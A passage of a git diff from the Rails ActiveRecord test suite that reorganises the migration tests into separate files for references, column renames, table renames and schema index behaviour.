+          t.references :bar, :index => {:unique => true}
+        end
+
+        assert connection.index_exists?(table_name, :foo_id, :name => :index_testings_on_yo_momma)
+        assert connection.index_exists?(table_name, :bar_id, :name => :index_testings_on_bar_id, :unique => true)
+      end
+
+      def test_creates_polymorphic_index
+        return skip "Oracle Adapter does not support foreign keys if :polymorphic => true is used" if current_adapter? :OracleAdapter
+
+        connection.create_table table_name do |t|
+          t.references :foo, :polymorphic => true, :index => true
+        end
+
+        assert connection.index_exists?(table_name, [:foo_id, :foo_type], :name => :index_testings_on_foo_id_and_foo_type)
+      end
+
+      def test_creates_index_for_existing_table
+        connection.create_table table_name
+        connection.change_table table_name do |t|
+          t.references :foo, :index => true
+        end
+
+        assert connection.index_exists?(table_name, :foo_id, :name => :index_testings_on_foo_id)
+      end
+
+      def test_does_not_create_index_for_existing_table
+        connection.create_table table_name
+        connection.change_table table_name do |t|
+          t.references :foo
+        end
+
+        refute connection.index_exists?(table_name, :foo_id, :name => :index_testings_on_foo_id)
+      end
+
+      def test_does_not_create_index_for_existing_table_explicit
+        connection.create_table table_name
+        connection.change_table table_name do |t|
+          t.references :foo, :index => false
+        end
+
+        refute connection.index_exists?(table_name, :foo_id, :name => :index_testings_on_foo_id)
+      end
+
+      def test_creates_polymorphic_index_for_existing_table
+        return skip "Oracle Adapter does not support foreign keys if :polymorphic => true is used" if current_adapter? :OracleAdapter
+        connection.create_table table_name
+        connection.change_table table_name do |t|
+          t.references :foo, :polymorphic => true, :index => true
+        end
+
+        assert connection.index_exists?(table_name, [:foo_id, :foo_type], :name => :index_testings_on_foo_id_and_foo_type)
+      end
+
+    end
+  end
+end
diff --git a/activerecord/test/cases/migration/references_statements_test.rb b/activerecord/test/cases/migration/references_statements_test.rb
new file mode 100644
index 0000000000..144302bd4a
--- /dev/null
+++ b/activerecord/test/cases/migration/references_statements_test.rb
@@ -0,0 +1,111 @@
+require "cases/migration/helper"
+
+module ActiveRecord
+  class Migration
+    class ReferencesStatementsTest < ActiveRecord::TestCase
+      include ActiveRecord::Migration::TestHelper
+
+      self.use_transactional_fixtures = false
+
+      def setup
+        super
+        @table_name = :test_models
+
+        add_column table_name, :supplier_id, :integer
+        add_index table_name, :supplier_id
+      end
+
+      def test_creates_reference_id_column
+        add_reference table_name, :user
+        assert column_exists?(table_name, :user_id, :integer)
+      end
+
+      def test_does_not_create_reference_type_column
+        add_reference table_name, :taggable
+        refute column_exists?(table_name, :taggable_type, :string)
+      end
+
+      def test_creates_reference_type_column
+        add_reference table_name, :taggable, polymorphic: true
+        assert column_exists?(table_name, :taggable_type, :string)
+      end
+
+      def test_creates_reference_id_index
+        add_reference table_name, :user, index: true
+        assert index_exists?(table_name, :user_id)
+      end
+
+      def test_does_not_create_reference_id_index
+        add_reference table_name, :user
+        refute index_exists?(table_name, :user_id)
+      end
+
+      def test_creates_polymorphic_index
+        add_reference table_name, :taggable, polymorphic: true, index: true
+        assert index_exists?(table_name, [:taggable_id, :taggable_type])
+      end
+
+      def test_creates_reference_type_column_with_default
+        add_reference table_name, :taggable, polymorphic: { default: 'Photo' }, index: true
+        assert column_exists?(table_name, :taggable_type, :string, default: 'Photo')
+      end
+
+      def test_creates_named_index
+        add_reference table_name, :tag, index: { name: 'index_taggings_on_tag_id' }
+        assert index_exists?(table_name, :tag_id, name: 'index_taggings_on_tag_id')
+      end
+
+      def test_deletes_reference_id_column
+        remove_reference table_name, :supplier
+        refute column_exists?(table_name, :supplier_id, :integer)
+      end
+
+      def test_deletes_reference_id_index
+        remove_reference table_name, :supplier
+        refute index_exists?(table_name, :supplier_id)
+      end
+      
+      def test_does_not_delete_reference_type_column
+        with_polymorphic_column do
+          remove_reference table_name, :supplier
+
+          refute column_exists?(table_name, :supplier_id, :integer)
+          assert column_exists?(table_name, :supplier_type, :string)
+        end
+      end
+      
+      def test_deletes_reference_type_column
+        with_polymorphic_column do
+          remove_reference table_name, :supplier, polymorphic: true
+          refute column_exists?(table_name, :supplier_type, :string)
+        end
+      end
+
+      def test_deletes_polymorphic_index
+        with_polymorphic_column do
+          remove_reference table_name, :supplier, polymorphic: true
+          refute index_exists?(table_name, [:supplier_id, :supplier_type])
+        end
+      end
+
+      def test_add_belongs_to_alias
+        add_belongs_to table_name, :user
+        assert column_exists?(table_name, :user_id, :integer)
+      end
+
+      def test_remove_belongs_to_alias
+        remove_belongs_to table_name, :supplier
+        refute column_exists?(table_name, :supplier_id, :integer)
+      end
+
+      private
+
+      def with_polymorphic_column
+        add_column table_name, :supplier_type, :string
+        add_index table_name, [:supplier_id, :supplier_type]
+
+        yield
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/migration/rename_column_test.rb b/activerecord/test/cases/migration/rename_column_test.rb
new file mode 100644
index 0000000000..d1a85ee5e4
--- /dev/null
+++ b/activerecord/test/cases/migration/rename_column_test.rb
@@ -0,0 +1,194 @@
+require "cases/migration/helper"
+
+module ActiveRecord
+  class Migration
+    class RenameColumnTest < ActiveRecord::TestCase
+      include ActiveRecord::Migration::TestHelper
+
+      self.use_transactional_fixtures = false
+
+      # FIXME: this is more of an integration test with AR::Base and the
+      # schema modifications.  Maybe we should move this?
+      def test_add_rename
+        add_column "test_models", "girlfriend", :string
+        TestModel.reset_column_information
+
+        TestModel.create :girlfriend => 'bobette'
+
+        rename_column "test_models", "girlfriend", "exgirlfriend"
+
+        TestModel.reset_column_information
+        bob = TestModel.first
+
+        assert_equal "bobette", bob.exgirlfriend
+      end
+
+      # FIXME: another integration test.  We should decouple this from the
+      # AR::Base implementation.
+      def test_rename_column_using_symbol_arguments
+        add_column :test_models, :first_name, :string
+
+        TestModel.create :first_name => 'foo'
+
+        rename_column :test_models, :first_name, :nick_name
+        TestModel.reset_column_information
+        assert TestModel.column_names.include?("nick_name")
+        assert_equal ['foo'], TestModel.all.map(&:nick_name)
+      end
+
+      # FIXME: another integration test.  We should decouple this from the
+      # AR::Base implementation.
+      def test_rename_column
+        add_column "test_models", "first_name", "string"
+
+        TestModel.create :first_name => 'foo'
+
+        rename_column "test_models", "first_name", "nick_name"
+        TestModel.reset_column_information
+        assert TestModel.column_names.include?("nick_name")
+        assert_equal ['foo'], TestModel.all.map(&:nick_name)
+      end
+
+      def test_rename_column_preserves_default_value_not_null
+        add_column 'test_models', 'salary', :integer, :default => 70000
+
+        default_before = connection.columns("test_models").find { |c| c.name == "salary" }.default
+        assert_equal 70000, default_before
+
+        rename_column "test_models", "salary", "anual_salary"
+
+        assert TestModel.column_names.include?("anual_salary")
+        default_after = connection.columns("test_models").find { |c| c.name == "anual_salary" }.default
+        assert_equal 70000, default_after
+      end
+
+      def test_rename_nonexistent_column
+        exception = if current_adapter?(:PostgreSQLAdapter, :OracleAdapter)
+                      ActiveRecord::StatementInvalid
+                    else
+                      ActiveRecord::ActiveRecordError
+                    end
+        assert_raise(exception) do
+          rename_column "test_models", "nonexistent", "should_fail"
+        end
+      end
+
+      def test_rename_column_with_sql_reserved_word
+        add_column 'test_models', 'first_name', :string
+        rename_column "test_models", "first_name", "group"
+
+        assert TestModel.column_names.include?("group")
+      end
+
+      def test_rename_column_with_an_index
+        add_column "test_models", :hat_name, :string
+        add_index :test_models, :hat_name
+
+        # FIXME: we should test that the index goes away
+        rename_column "test_models", "hat_name", "name"
+      end
+
+      def test_remove_column_with_index
+        add_column "test_models", :hat_name, :string
+        add_index :test_models, :hat_name
+
+        # FIXME: we should test that the index goes away
+        remove_column("test_models", "hat_name")
+      end
+
+      def test_remove_column_with_multi_column_index
+        add_column "test_models", :hat_size, :integer
+        add_column "test_models", :hat_style, :string, :limit => 100
+        add_index "test_models", ["hat_style", "hat_size"], :unique => true
+
+        # FIXME: we should test that the index goes away
+        remove_column("test_models", "hat_size")
+      end
+
+      # FIXME: we need to test that these calls do something
+      def test_change_type_of_not_null_column
+        change_column "test_models", "updated_at", :datetime, :null => false
+        change_column "test_models", "updated_at", :datetime, :null => false
+        change_column "test_models", "updated_at", :datetime, :null => true
+      end
+
+      def test_change_column_nullability
+        add_column "test_models", "funny", :boolean
+        assert TestModel.columns_hash["funny"].null, "Column 'funny' must initially allow nulls"
+
+        change_column "test_models", "funny", :boolean, :null => false, :default => true
+
+        TestModel.reset_column_information
+        refute TestModel.columns_hash["funny"].null, "Column 'funny' must *not* allow nulls at this point"
+
+        change_column "test_models", "funny", :boolean, :null => true
+        TestModel.reset_column_information
+        assert TestModel.columns_hash["funny"].null, "Column 'funny' must allow nulls again at this point"
+      end
+
+      def test_change_column
+        add_column 'test_models', 'age', :integer
+        add_column 'test_models', 'approved', :boolean, :default => true
+
+        old_columns = connection.columns(TestModel.table_name)
+
+        assert old_columns.find { |c| c.name == 'age' && c.type == :integer }
+
+        change_column "test_models", "age", :string
+
+        new_columns = connection.columns(TestModel.table_name)
+
+        refute new_columns.find { |c| c.name == 'age' and c.type == :integer }
+        assert new_columns.find { |c| c.name == 'age' and c.type == :string }
+
+        old_columns = connection.columns(TestModel.table_name)
+        assert old_columns.find { |c|
+          c.name == 'approved' && c.type == :boolean && c.default == true
+        }
+
+        change_column :test_models, :approved, :boolean, :default => false
+        new_columns = connection.columns(TestModel.table_name)
+
+        refute new_columns.find { |c| c.name == 'approved' and c.type == :boolean and c.default == true }
+        assert new_columns.find { |c| c.name == 'approved' and c.type == :boolean and c.default == false }
+        change_column :test_models, :approved, :boolean, :default => true
+      end
+
+      def test_change_column_with_nil_default
+        add_column "test_models", "contributor", :boolean, :default => true
+        assert TestModel.new.contributor?
+
+        change_column "test_models", "contributor", :boolean, :default => nil
+        TestModel.reset_column_information
+        refute TestModel.new.contributor?
+        assert_nil TestModel.new.contributor
+      end
+
+      def test_change_column_with_new_default
+        add_column "test_models", "administrator", :boolean, :default => true
+        assert TestModel.new.administrator?
+
+        change_column "test_models", "administrator", :boolean, :default => false
+        TestModel.reset_column_information
+        refute TestModel.new.administrator?
+      end
+
+      def test_change_column_default
+        add_column "test_models", "first_name", :string
+        connection.change_column_default "test_models", "first_name", "Tester"
+
+        assert_equal "Tester", TestModel.new.first_name
+      end
+
+      def test_change_column_default_to_null
+        add_column "test_models", "first_name", :string
+        connection.change_column_default "test_models", "first_name", nil
+        assert_nil TestModel.new.first_name
+      end
+
+      def test_remove_column_no_second_parameter_raises_exception
+        assert_raise(ArgumentError) { connection.remove_column("funny") }
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/migration/rename_table_test.rb b/activerecord/test/cases/migration/rename_table_test.rb
new file mode 100644
index 0000000000..21901bec3c
--- /dev/null
+++ b/activerecord/test/cases/migration/rename_table_test.rb
@@ -0,0 +1,80 @@
+require "cases/migration/helper"
+
+module ActiveRecord
+  class Migration
+    class RenameTableTest < ActiveRecord::TestCase
+      include ActiveRecord::Migration::TestHelper
+
+      self.use_transactional_fixtures = false
+
+      def setup
+        super
+        add_column 'test_models', :url, :string
+        remove_column 'test_models', :created_at
+        remove_column 'test_models', :updated_at
+      end
+
+      def teardown
+        rename_table :octopi, :test_models if connection.table_exists? :octopi
+        super
+      end
+
+      def test_rename_table_for_sqlite_should_work_with_reserved_words
+        renamed = false
+
+        skip "not supported" unless current_adapter?(:SQLite3Adapter)
+
+        add_column :test_models, :url, :string
+        connection.rename_table :references, :old_references
+        connection.rename_table :test_models, :references
+
+        renamed = true
+
+        # Using explicit id in insert for compatibility across all databases
+        connection.execute "INSERT INTO 'references' (url, created_at, updated_at) VALUES ('http://rubyonrails.com', 0, 0)"
+        assert_equal 'http://rubyonrails.com', connection.select_value("SELECT url FROM 'references' WHERE id=1")
+      ensure
+        return unless renamed
+        connection.rename_table :references, :test_models
+        connection.rename_table :old_references, :references
+      end
+
+      def test_rename_table
+        rename_table :test_models, :octopi
+
+        # Using explicit id in insert for compatibility across all databases
+        connection.enable_identity_insert("octopi", true) if current_adapter?(:SybaseAdapter)
+
+        connection.execute "INSERT INTO octopi (#{connection.quote_column_name('id')}, #{connection.quote_column_name('url')}) VALUES (1, 'http://www.foreverflying.com/octopus-black7.jpg')"
+
+        connection.enable_identity_insert("octopi", false) if current_adapter?(:SybaseAdapter)
+
+        assert_equal 'http://www.foreverflying.com/octopus-black7.jpg', connection.select_value("SELECT url FROM octopi WHERE id=1")
+      end
+
+      def test_rename_table_with_an_index
+        add_index :test_models, :url
+
+        rename_table :test_models, :octopi
+
+        # Using explicit id in insert for compatibility across all databases
+        connection.enable_identity_insert("octopi", true) if current_adapter?(:SybaseAdapter)
+        connection.execute "INSERT INTO octopi (#{connection.quote_column_name('id')}, #{connection.quote_column_name('url')}) VALUES (1, 'http://www.foreverflying.com/octopus-black7.jpg')"
+        connection.enable_identity_insert("octopi", false) if current_adapter?(:SybaseAdapter)
+
+        assert_equal 'http://www.foreverflying.com/octopus-black7.jpg', connection.select_value("SELECT url FROM octopi WHERE id=1")
+        assert connection.indexes(:octopi).first.columns.include?("url")
+      end
+
+      def test_rename_table_for_postgresql_should_also_rename_default_sequence
+        skip 'not supported' unless current_adapter?(:PostgreSQLAdapter)
+
+        rename_table :test_models, :octopi
+
+        pk, seq = connection.pk_and_sequence_for('octopi')
+
+        assert_equal "octopi_#{pk}_seq", seq
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/migration/table_and_index_test.rb b/activerecord/test/cases/migration/table_and_index_test.rb
new file mode 100644
index 0000000000..8fd770abd1
--- /dev/null
+++ b/activerecord/test/cases/migration/table_and_index_test.rb
@@ -0,0 +1,24 @@
+require "cases/helper"
+
+module ActiveRecord
+  class Migration
+    class TableAndIndexTest < ActiveRecord::TestCase
+      def test_add_schema_info_respects_prefix_and_suffix
+        conn = ActiveRecord::Base.connection
+
+        conn.drop_table(ActiveRecord::Migrator.schema_migrations_table_name) if conn.table_exists?(ActiveRecord::Migrator.schema_migrations_table_name)
+        # Use shorter prefix and suffix as in Oracle database identifier cannot be larger than 30 characters
+        ActiveRecord::Base.table_name_prefix = 'p_'
+        ActiveRecord::Base.table_name_suffix = '_s'
+        conn.drop_table(ActiveRecord::Migrator.schema_migrations_table_name) if conn.table_exists?(ActiveRecord::Migrator.schema_migrations_table_name)
+
+        conn.initialize_schema_migrations_table
+
+        assert_equal "p_unique_schema_migrations_s", conn.indexes(ActiveRecord::Migrator.schema_migrations_table_name)[0][:name]
+      ensure
+        ActiveRecord::Base.table_name_prefix = ""
+        ActiveRecord::Base.table_name_suffix = ""
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/migration_test.rb b/activerecord/test/cases/migration_test.rb
index e8ad37d437..3c0d2b18d9 100644
--- a/activerecord/test/cases/migration_test.rb
+++ b/activerecord/test/cases/migration_test.rb
@@ -1,4 +1,5 @@
 require "cases/helper"
+require "cases/migration/helper"
 require 'bigdecimal/util'
 
 require 'models/person'
@@ -6,2314 +7,756 @@ require 'models/topic'
 require 'models/developer'
 
 require MIGRATIONS_ROOT + "/valid/2_we_need_reminders"
+require MIGRATIONS_ROOT + "/rename/1_we_need_things"
+require MIGRATIONS_ROOT + "/rename/2_rename_things"
 require MIGRATIONS_ROOT + "/decimal/1_give_me_big_numbers"
 
-if ActiveRecord::Base.connection.supports_migrations?
-  class BigNumber < ActiveRecord::Base; end
+class BigNumber < ActiveRecord::Base; end
 
-  class Reminder < ActiveRecord::Base; end
+class Reminder < ActiveRecord::Base; end
 
-  class ActiveRecord::Migration
-    class << self
-      attr_accessor :message_count
-    end
-
-    def puts(text="")
-      ActiveRecord::Migration.message_count ||= 0
-      ActiveRecord::Migration.message_count += 1
-    end
-  end
-
-  class MigrationTableAndIndexTest < ActiveRecord::TestCase
-    def test_add_schema_info_respects_prefix_and_suffix
-      conn = ActiveRecord::Base.connection
+class Thing < ActiveRecord::Base; end
 
-      conn.drop_table(ActiveRecord::Migrator.schema_migrations_table_name) if conn.table_exists?(ActiveRecord::Migrator.schema_migrations_table_name)
-      # Use shorter prefix and suffix as in Oracle database identifier cannot be larger than 30 characters
-      ActiveRecord::Base.table_name_prefix = 'p_'
-      ActiveRecord::Base.table_name_suffix = '_s'
-      conn.drop_table(ActiveRecord::Migrator.schema_migrations_table_name) if conn.table_exists?(ActiveRecord::Migrator.schema_migrations_table_name)
+class MigrationTest < ActiveRecord::TestCase
+  self.use_transactional_fixtures = false
 
-      conn.initialize_schema_migrations_table
+  fixtures :people
 
-      assert_equal "p_unique_schema_migrations_s", conn.indexes(ActiveRecord::Migrator.schema_migrations_table_name)[0][:name]
-    ensure
-      ActiveRecord::Base.table_name_prefix = ""
-      ActiveRecord::Base.table_name_suffix = ""
+  def setup
+    super
+    %w(reminders people_reminders prefix_reminders_suffix).each do |table|
+      Reminder.connection.drop_table(table) rescue nil
     end
+    Reminder.reset_column_information
+    ActiveRecord::Migration.verbose = true
+    ActiveRecord::Migration.message_count = 0
   end
 
-  class MigrationTest < ActiveRecord::TestCase
-    self.use_transactional_fixtures = false
+  def teardown
+    ActiveRecord::Base.connection.initialize_schema_migrations_table
+    ActiveRecord::Base.connection.execute "DELETE FROM #{ActiveRecord::Migrator.schema_migrations_table_name}"
 
-    fixtures :people
-
-    def setup
-      ActiveRecord::Migration.verbose = true
-      ActiveRecord::Migration.message_count = 0
+    %w(things awesome_things prefix_things_suffix p_awesome_things_s ).each do |table|
+      Thing.connection.drop_table(table) rescue nil
     end
+    Thing.reset_column_information
 
-    def teardown
-      ActiveRecord::Base.connection.initialize_schema_migrations_table
-      ActiveRecord::Base.connection.execute "DELETE FROM #{ActiveRecord::Migrator.schema_migrations_table_name}"
-
-      %w(reminders people_reminders prefix_reminders_suffix).each do |table|
-        Reminder.connection.drop_table(table) rescue nil
-      end
-      Reminder.reset_column_information
-
-      %w(last_name key bio age height wealth birthday favorite_day
-         moment_of_truth male administrator funny).each do |column|
-        Person.connection.remove_column('people', column) rescue nil
-      end
-      Person.connection.remove_column("people", "first_name") rescue nil
-      Person.connection.remove_column("people", "middle_name") rescue nil
-      Person.connection.add_column("people", "first_name", :string, :limit => 40)
-      Person.reset_column_information
+    %w(reminders people_reminders prefix_reminders_suffix).each do |table|
+      Reminder.connection.drop_table(table) rescue nil
     end
+    Reminder.reset_column_information
 
-    def test_add_index
-      # Limit size of last_name and key columns to support Firebird index limitations
-      Person.connection.add_column "people", "last_name", :string, :limit => 100
-      Person.connection.add_column "people", "key", :string, :limit => 100
-      Person.connection.add_column "people", "administrator", :boolean
-
-      assert_nothing_raised { Person.connection.add_index("people", "last_name") }
-      assert_nothing_raised { Person.connection.remove_index("people", "last_name") }
-
-      # Orcl nds shrt indx nms.  Sybs 2.
-      # OpenBase does not have named indexes.  You must specify a single column name
-      unless current_adapter?(:SybaseAdapter, :OpenBaseAdapter)
-        assert_nothing_raised { Person.connection.add_index("people", ["last_name", "first_name"]) }
-        assert_nothing_raised { Person.connection.remove_index("people", :column => ["last_name", "first_name"]) }
-        # Oracle adapter cannot have specified index name larger than 30 characters
-        # Oracle adapter is shortening index name when just column list is given
-        unless current_adapter?(:OracleAdapter)
-          assert_nothing_raised { Person.connection.add_index("people", ["last_name", "first_name"]) }
-          assert_nothing_raised { Person.connection.remove_index("people", :name => :index_people_on_last_name_and_first_name) }
-          assert_nothing_raised { Person.connection.add_index("people", ["last_name", "first_name"]) }
-          assert_nothing_raised { Person.connection.remove_index("people", "last_name_and_first_name") }
-        end
-        assert_nothing_raised { Person.connection.add_index("people", ["last_name", "first_name"]) }
-        assert_nothing_raised { Person.connection.remove_index("people", ["last_name", "first_name"]) }
-        assert_nothing_raised { Person.connection.add_index("people", ["last_name"], :length => 10) }
-        assert_nothing_raised { Person.connection.remove_index("people", "last_name") }
-        assert_nothing_raised { Person.connection.add_index("people", ["last_name"], :length => {:last_name => 10}) }
-        assert_nothing_raised { Person.connection.remove_index("people", ["last_name"]) }
-        assert_nothing_raised { Person.connection.add_index("people", ["last_name", "first_name"], :length => 10) }
-        assert_nothing_raised { Person.connection.remove_index("people", ["last_name", "first_name"]) }
-        assert_nothing_raised { Person.connection.add_index("people", ["last_name", "first_name"], :length => {:last_name => 10, :first_name => 20}) }
-        assert_nothing_raised { Person.connection.remove_index("people", ["last_name", "first_name"]) }
-      end
-
-      # quoting
-      # Note: changed index name from "key" to "key_idx" since "key" is a Firebird reserved word
-      # OpenBase does not have named indexes.  You must specify a single column name
-      unless current_adapter?(:OpenBaseAdapter)
-        Person.update_all "#{Person.connection.quote_column_name 'key'}=#{Person.connection.quote_column_name 'id'}" #some databases (including sqlite2 won't add a unique index if existing data non unique)
-        assert_nothing_raised { Person.connection.add_index("people", ["key"], :name => "key_idx", :unique => true) }
-        assert_nothing_raised { Person.connection.remove_index("people", :name => "key_idx", :unique => true) }
-      end
-
-      # Sybase adapter does not support indexes on :boolean columns
-      # OpenBase does not have named indexes.  You must specify a single column
-      unless current_adapter?(:SybaseAdapter, :OpenBaseAdapter)
-        assert_nothing_raised { Person.connection.add_index("people", %w(last_name first_name administrator), :name => "named_admin") }
-        assert_nothing_raised { Person.connection.remove_index("people", :name => "named_admin") }
-      end
-
-      # Selected adapters support index sort order
-      if current_adapter?(:SQLite3Adapter, :MysqlAdapter, :Mysql2Adapter, :PostgreSQLAdapter)
-        assert_nothing_raised { Person.connection.add_index("people", ["last_name"], :order => {:last_name => :desc}) }
-        assert_nothing_raised { Person.connection.remove_index("people", ["last_name"]) }
-        assert_nothing_raised { Person.connection.add_index("people", ["last_name", "first_name"], :order => {:last_name => :desc}) }
-        assert_nothing_raised { Person.connection.remove_index("people", ["last_name", "first_name"]) }
-        assert_nothing_raised { Person.connection.add_index("people", ["last_name", "first_name"], :order => {:last_name => :desc, :first_name => :asc}) }
-        assert_nothing_raised { Person.connection.remove_index("people", ["last_name", "first_name"]) }
-        assert_nothing_raised { Person.connection.add_index("people", ["last_name", "first_name"], :order => :desc) }
-        assert_nothing_raised { Person.connection.remove_index("people", ["last_name", "first_name"]) }
-      end
+    %w(last_name key bio age height wealth birthday favorite_day
+       moment_of_truth male administrator funny).each do |column|
+      Person.connection.remove_column('people', column) rescue nil
     end
+    Person.connection.remove_column("people", "first_name") rescue nil
+    Person.connection.remove_column("people", "middle_name") rescue nil
+    Person.connection.add_column("people", "first_name", :string, :limit => 40)
+    Person.reset_column_information
+  end
 
-    def test_index_symbol_names
-      assert_nothing_raised { Person.connection.add_index :people, :primary_contact_id, :name => :symbol_index_name }
-      assert Person.connection.index_exists?(:people, :primary_contact_id, :name => :symbol_index_name)
-      assert_nothing_raised { Person.connection.remove_index :people, :name => :symbol_index_name }
-      assert !Person.connection.index_exists?(:people, :primary_contact_id, :name => :symbol_index_name)
-    end
-
-    def test_add_index_length_limit
-      good_index_name = 'x' * Person.connection.index_name_length
-      too_long_index_name = good_index_name + 'x'
-      assert_raise(ArgumentError)  { Person.connection.add_index("people", "first_name", :name => too_long_index_name) }
-      assert !Person.connection.index_name_exists?("people", too_long_index_name, false)
-      assert_nothing_raised { Person.connection.add_index("people", "first_name", :name => good_index_name) }
-      assert Person.connection.index_name_exists?("people", good_index_name, false)
-      Person.connection.remove_index("people", :name => good_index_name)
-    end
-
-    def test_remove_nonexistent_index
-      # we do this by name, so OpenBase is a wash as noted above
-      unless current_adapter?(:OpenBaseAdapter)
-        assert_raise(ArgumentError) { Person.connection.remove_index("people", "no_such_index") }
-      end
-    end
-
-    def test_rename_index
-      unless current_adapter?(:OpenBaseAdapter)
-        # keep the names short to make Oracle and similar behave
-        Person.connection.add_index('people', [:first_name], :name => 'old_idx')
-        assert_nothing_raised { Person.connection.rename_index('people', 'old_idx', 'new_idx') }
-        # if the adapter doesn't support the indexes call, pick defaults that let the test pass
-        assert !Person.connection.index_name_exists?('people', 'old_idx', false)
-        assert Person.connection.index_name_exists?('people', 'new_idx', true)
-      end
-    end
-
-    def test_double_add_index
-      unless current_adapter?(:OpenBaseAdapter)
-        Person.connection.add_index('people', [:first_name], :name => 'some_idx')
-        assert_raise(ArgumentError) { Person.connection.add_index('people', [:first_name], :name => 'some_idx') }
-      end
-    end
-
-    def test_index_exists
-      Person.connection.create_table :testings do |t|
-        t.column :foo, :string, :limit => 100
-        t.column :bar, :string, :limit => 100
-      end
-      Person.connection.add_index :testings, :foo
-
-      assert Person.connection.index_exists?(:testings, :foo)
-      assert !Person.connection.index_exists?(:testings, :bar)
-    ensure
-      Person.connection.drop_table :testings rescue nil
-    end
-
-    def test_index_exists_on_multiple_columns
-      Person.connection.create_table :testings do |t|
-        t.column :foo, :string, :limit => 100
-        t.column :bar, :string, :limit => 100
-      end
-      Person.connection.add_index :testings, [:foo, :bar]
-
-      assert Person.connection.index_exists?(:testings, [:foo, :bar])
-    ensure
-      Person.connection.drop_table :testings rescue nil
-    end
-
-    def test_unique_index_exists
-      Person.connection.create_table :testings do |t|
-        t.column :foo, :string, :limit => 100
-      end
-      Person.connection.add_index :testings, :foo, :unique => true
-
-      assert Person.connection.index_exists?(:testings, :foo, :unique => true)
-    ensure
-      Person.connection.drop_table :testings rescue nil
-    end
-
-    def test_named_index_exists
-      Person.connection.create_table :testings do |t|
-        t.column :foo, :string, :limit => 100
-      end
-      Person.connection.add_index :testings, :foo, :name => "custom_index_name"
-
-      assert Person.connection.index_exists?(:testings, :foo, :name => "custom_index_name")
-    ensure
-      Person.connection.drop_table :testings rescue nil
-    end
-
-    def testing_table_with_only_foo_attribute
-      Person.connection.create_table :testings, :id => false do |t|
-        t.column :foo, :string
-      end
-
-      yield Person.connection
-    ensure
-      Person.connection.drop_table :testings rescue nil
-    end
-    protected :testing_table_with_only_foo_attribute
-
-    def test_create_table_without_id
-      testing_table_with_only_foo_attribute do |connection|
-        assert_equal connection.columns(:testings).size, 1
-      end
-    end
-
-    def test_add_column_with_primary_key_attribute
-      testing_table_with_only_foo_attribute do |connection|
-        assert_nothing_raised { connection.add_column :testings, :id, :primary_key }
-        assert_equal connection.columns(:testings).size, 2
-      end
-    end
-
-    def test_create_table_adds_id
-      Person.connection.create_table :testings do |t|
-        t.column :foo, :string
-      end
-
-      assert_equal %w(foo id),
-        Person.connection.columns(:testings).map { |c| c.name }.sort
-    ensure
-      Person.connection.drop_table :testings rescue nil
-    end
-
-    def test_create_table_with_not_null_column
-      assert_nothing_raised do
-        Person.connection.create_table :testings do |t|
-          t.column :foo, :string, :null => false
-        end
-      end
-
-      assert_raise(ActiveRecord::StatementInvalid) do
-        Person.connection.execute "insert into testings (foo) values (NULL)"
-      end
-    ensure
-      Person.connection.drop_table :testings rescue nil
-    end
-
-    def test_create_table_with_defaults
-      # MySQL doesn't allow defaults on TEXT or BLOB columns.
-      mysql = current_adapter?(:MysqlAdapter) || current_adapter?(:Mysql2Adapter)
-
-      Person.connection.create_table :testings do |t|
-        t.column :one, :string, :default => "hello"
-        t.column :two, :boolean, :default => true
-        t.column :three, :boolean, :default => false
-        t.column :four, :integer, :default => 1
-        t.column :five, :text, :default => "hello" unless mysql
-      end
+  def test_migrator_versions
+    migrations_path = MIGRATIONS_ROOT + "/valid"
+    ActiveRecord::Migrator.migrations_paths = migrations_path
 
-      columns = Person.connection.columns(:testings)
-      one = columns.detect { |c| c.name == "one" }
-      two = columns.detect { |c| c.name == "two" }
-      three = columns.detect { |c| c.name == "three" }
-      four = columns.detect { |c| c.name == "four" }
-      five = columns.detect { |c| c.name == "five" } unless mysql
+    ActiveRecord::Migrator.up(migrations_path)
+    assert_equal 3, ActiveRecord::Migrator.current_version
+    assert_equal 3, ActiveRecord::Migrator.last_version
+    assert_equal false, ActiveRecord::Migrator.needs_migration?
 
-      assert_equal "hello", one.default
-      assert_equal true, two.default
-      assert_equal false, three.default
-      assert_equal 1, four.default
-      assert_equal "hello", five.default unless mysql
+    ActiveRecord::Migrator.down(MIGRATIONS_ROOT + "/valid")
+    assert_equal 0, ActiveRecord::Migrator.current_version
+    assert_equal 3, ActiveRecord::Migrator.last_version
+    assert_equal true, ActiveRecord::Migrator.needs_migration?
+  end
 
-    ensure
-      Person.connection.drop_table :testings rescue nil
+  def test_create_table_with_force_true_does_not_drop_nonexisting_table
+    if Person.connection.table_exists?(:testings2)
+      Person.connection.drop_table :testings2
     end
 
-    def test_create_table_with_limits
-      assert_nothing_raised do
-        Person.connection.create_table :testings do |t|
-          t.column :foo, :string, :limit => 255
-
-          t.column :default_int, :integer
+    # using a copy as we need the drop_table method to
+    # continue to work for the ensure block of the test
+    temp_conn = Person.connection.dup
 
-          t.column :one_int,    :integer, :limit => 1
-          t.column :four_int,   :integer, :limit => 4
-          t.column :eight_int,  :integer, :limit => 8
-          t.column :eleven_int, :integer, :limit => 11
-        end
-      end
+    assert_not_equal temp_conn, Person.connection
 
-      columns = Person.connection.columns(:testings)
-      foo = columns.detect { |c| c.name == "foo" }
-      assert_equal 255, foo.limit
-
-      default = columns.detect { |c| c.name == "default_int" }
-      one     = columns.detect { |c| c.name == "one_int"     }
-      four    = columns.detect { |c| c.name == "four_int"    }
-      eight   = columns.detect { |c| c.name == "eight_int"   }
-      eleven  = columns.detect { |c| c.name == "eleven_int"   }
-
-      if current_adapter?(:PostgreSQLAdapter)
-        assert_equal 'integer', default.sql_type
-        assert_equal 'smallint', one.sql_type
-        assert_equal 'integer', four.sql_type
-        assert_equal 'bigint', eight.sql_type
-        assert_equal 'integer', eleven.sql_type
-      elsif current_adapter?(:MysqlAdapter) or current_adapter?(:Mysql2Adapter)
-        assert_match 'int(11)', default.sql_type
-        assert_match 'tinyint', one.sql_type
-        assert_match 'int', four.sql_type
-        assert_match 'bigint', eight.sql_type
-        assert_match 'int(11)', eleven.sql_type
-      elsif current_adapter?(:OracleAdapter)
-        assert_equal 'NUMBER(38)', default.sql_type
-        assert_equal 'NUMBER(1)', one.sql_type
-        assert_equal 'NUMBER(4)', four.sql_type
-        assert_equal 'NUMBER(8)', eight.sql_type
-      end
-    ensure
-      Person.connection.drop_table :testings rescue nil
